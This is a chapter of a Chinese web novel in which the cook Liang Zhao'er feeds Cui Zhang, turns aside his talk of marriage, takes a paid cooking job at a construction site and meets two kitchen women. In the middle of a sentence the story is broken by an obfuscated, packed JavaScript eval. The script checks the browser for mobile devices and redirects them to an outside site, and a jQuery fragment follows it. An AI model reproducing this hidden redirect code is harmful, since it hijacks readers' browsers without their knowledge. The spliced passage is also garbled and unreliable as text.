扬州炒饭贵有贵的吃法,里头加火腿、虾仁、干贝、海参之类的,还得用上好的鸡汤做汤底焖煮配料,和寻常的蛋炒饭有天壤之别。虽说配菜有限,可金裹银的技法,梁照儿还是做了全。
每粒米上都均匀的裹着蛋液,只加少许盐调味便能最大程度地激发出炒饭本身的咸香。
三人在桌上吃的鸦雀无声,只听见碗勺碰撞的声响。酒足饭饱后,崔璋说:“将碗碟都放着,到时候我来收。”
见他这么说,梁照儿也就坐到一旁喝茶去了。自己都坐船来瞧他了,怎么说也是个客人,给做了顿饭都了不得了,哪有洗碗的道理。
蔡宣季看着两人,一抹袖子,吭哧吭哧地到灶台边洗碗去了,嘴里还嘟囔着说:“都打量着我心软,不肯磋磨病人。”
梁照儿备不住笑了,她翘起脚在空中晃了两圈才放下地。崔璋觉着这样的她才像这个年纪本该有的模样,无忧无虑的。
他从枕下摸出一锭银子塞进梁照儿手里,“我瞧着你店里生意时好时坏的,这钱你收下,若出了什么事也好应个急。”
梁照儿将银子推了回去,说道:“我要你的钱做甚么?你只管留着自己用,把这屋子好好拾掇拾掇,赶明儿月娘和你成了亲都该给她才是。”
崔璋嗫嚅着说:“都是没影的事,再说了我身上也没个功名,娶谁总是耽误了人家……”
他在梁照儿面前总有些没底气,比他还小不少的人都能扛起生活,可他读了十几年书连自信能考取的功名也没考上。
梁照儿嘻嘻一笑,“人世间的事都是说不定的,我与你从前吵得跟乌眼鸡似的,如今也能坐在一处吃茶说话,还有什么不行的?”
她又说:“此次虽未中,可你好歹也是个秀才,去村里私塾混个学究当当,教学童启蒙,也能养活自己。”
半晌,她补了句:“办法总比困难多,活人哪能被尿憋死?”
梁照儿觉得她简直是崔璋和月娘情感路上的好帮手,原书里月娘堂伯家正开了家私塾,这样一来他二人岂不是多了不少朝夕相处的时间?
崔璋见梁照儿宽慰自己,心里像撒了一把白糖似的,又甜又硌嘴,过了一会儿他才回道:“待我以后做了大官,给你请封诰命。”
梁照儿觉得这人是个痴傻的,好似她刚刚讲的话都白说了,她叱道:“嗐,你这人净说些甚么浑话,要你给我请个什么封呢?”
崔璋刚准备说话,却被湿着手的蔡宣季打断了,他咬牙切齿道:“你们俩在说什么?”
梁照儿心底无名地升上一股心虚,却仍说:“不过闲说两句话罢了。”
崔璋不露声色地往前挪了挪,半个身子将坐在绣凳上的梁照儿环住,斜插进她和蔡宣季之间,淡淡道:“一家人说话,外人总不好听的。”
瞧见蔡宣季又青又红的脸,崔璋微微勾起唇,又说:“洗完了?”
蔡宣季握着拳头,没出息道:“洗完了,还用布擦了,放到笼柜里了。”
梁照儿笑着说:“蔡郎君也不知以后得多讨家里娘子欢心。”
蔡宣季闻言面色这才好了些,轻哼一声说道:“这是自然,我可比某些不解风情的木头强。”
他将包袱里的东西都拿出来归置好,一刻也不多待,便拉着梁照儿出了门。
梁照儿不解说:“来也是你要来的,如今怎么打手打脚地要走?”
“免得耽误食肆的生意。”蔡宣季绽出一个完美的笑容。
他如今只盼望着月娘能加把劲,赶紧将崔璋这登徒子拿下。
二人才下了渡口,便瞧见有一伙人围在梁家食肆前头。蔡宣季心中警觉,连忙将梁照儿护在身后。
梁照儿拍了拍他,示意无妨,便上前问道:“几位大哥今日怎么有空来我这小店了?”
前来的正是那日在燕来楼遇见的甲头,他们齐刷刷地转身,冲着梁照儿作揖道:“在此候了娘子许久,可算把您等来了,今日冒昧打扰原是有一桩事要说……”
原本他们做事时说的话都是难得入耳的浑话,见了小娘子挝耳挠腮地说了几句文雅话。
为首的甲头羊安顺觑了一眼蔡宣季,梁照儿连忙说:“蔡郎君先回寺里去罢。”
见他走了,梁照儿忙开了门进去说道:“几位大哥略坐坐,我给你们沏壶茶水吃。”
羊安顺说:“我们这些粗人哪里喝得懂那些精巧物什?快别忙了,今日来是有一桩生意要劳烦娘子。”
梁照儿好奇道:“有这样的好事大哥们都想着奴家,不管成与不成,奴家先在此谢过了。”
“娘子折煞了,营造上做饭的役作李瘸子害了病回家去了,现在缺个厨子,我一下子就想到娘子了。”羊安顺笑着说。
他打定主意要搭上州衙这条线,见梁照儿和李鸿有些交情,便想着卖个好,说不准以后还能揽些和雇的活做。再者也就是确实需要这么个人来顶事,梁家食肆的东西便宜干净不说,味道也不比李瘸子做得差,弟兄们还算爱吃。
她考虑到梁家食肆目前的规模和人手,还是一咬牙说道:“诸位若是信得过我,我愿尽力一试。”
羊安顺正色道:“营造处人多,娘子的手艺也好,娘子来一日便给您半贯钱,这样可行?”
梁照儿心中略一算,临安地区普通厨娘月薪基本上在五贯钱,按每月三十天算,一日不过才一百六十余文。
她这一下算翻了三倍!
梁照儿点头说:“自然可以。”
羊安顺抚掌笑道:“做的吃食干净、顶饱就行,再没旁的要求了。”
梁照儿接过羊安顺先给的半贯钱定金,便回明教巷寻了关大娘,将事情据实说了,关大娘激动道:“这总是桩不赔本的买卖,只用大锅炒几个菜就使得了,你去罢,店里头总有我给你看着。”
“那我明日早上卖完了胡饼,就跟着甲头去营造处做活,也好多宣传宣传食肆。”梁照儿笑着说。
骤然吃上了官家饭,梁照儿又是开心又是紧张。
她在纸上比划着菜单,营
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401526|168708||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
造处的食材都是由州衙按人数统一拨的,就那么几样常见菜:白菜啦、萝卜啦、南瓜冬瓜之类的。好在靠近江边,能捞点鱼上来打打牙祭。
梁照儿还是决心做家常小炒,一来快,可以批量制作,二来她也擅长。
第二日清晨,梁照儿还是照常起了,她站在摊前卖胡饼的时候,羊安顺也悄悄排在队伍后头等着买胡饼。
等他站到梁照儿面前时,他故意压低声音道:“娘子,来个胡饼。”
梁照儿抬头一瞧,见是羊安顺便笑着说:“原以为官人是个实诚人,不想也作弄起人哩!”
羊安顺连忙拱手讨饶道:“哪里是作弄你,瞧娘子忙了一早晨逗你一笑罢了。说来惭愧,我还没吃过娘子做的东西,只听见小李官人说好吃。”
梁照儿佯装生气道:“不过两步路的距离,怎得也不来瞧瞧。”
羊安顺不好意思地说:“我这个人生下来懒筋就牢牢地扒在骨头上,离开床倒是件困难事,每天都赶不及去监工,何况是吃早饭了。成日里都是饥肠辘辘地等到晌午,才能吃上李瘸子做的饭。”
“这可不好,早饭得吃好,午饭得吃饱,这话总没错。”梁照儿摇摇头说道。
羊安顺连连点头,接过胡饼后便到里头去坐着等了。
等到人差不多都散了,梁照儿才脱了围裙,“羊官人,我这里的事忙完了,咱们就去营造处罢。”
羊安顺领着她进了营造处里临时搭的厨房,那里头正站着两位娘子:其中一位姓王,唤作采荞的是跟着自家男人征调来的民妇。她生得粗手粗脚,面上却一片腼腆,遥遥看去便知是一把干活的好手。
另一位姓徐的,从前是翠袖坊里头的,翠袖坊的妈妈给她起名叫作燕环,男人们常叫她燕丫头。
梁照儿一一向她们问好。
“我姓梁,叫我照儿便是。”
“只叫我采荞。”
“燕环。”
采荞见梁照儿新来,对她很热情,给她指了各处食材放的位置:“……活鱼活虾都在里头那两个大缸里,每隔一天就有人送肉来,肉都挂在绳子上晾着,右边架子上的簸箕里都是些时兴蔬菜,一旁的小竹篮里装的是鸡蛋。”
燕环却尖声道:“你同她说这些,她知道东西也不会弄呀,女人家的能做出甚么大菜来?配配菜也就行啦,真搞不懂羊甲头怎么寻个黄毛丫头来替李瘸子!”
她敷着粉的脸皱了起来,又轻轻飘飘地落了下去。
梁照儿并不退却,直说:“徐娘子这话我倒弄不明白了,寻常人家不都是女人家弄灶台上的那些事,没见过几个男人肯在厨房里头打转的,怎的到你嘴里,女人就做不出菜来了?”
燕环一噎,又说:“……酒楼里头的大师傅都是男人,没见有几个女人!”
闻言,梁照儿也不欲和她过多纠缠,她对着采荞说:“采荞,劳烦你帮着我配配菜。”
采荞“诶”了一声,问道:“不知梁娘子今日想做些什么,我好去拾拣清楚。”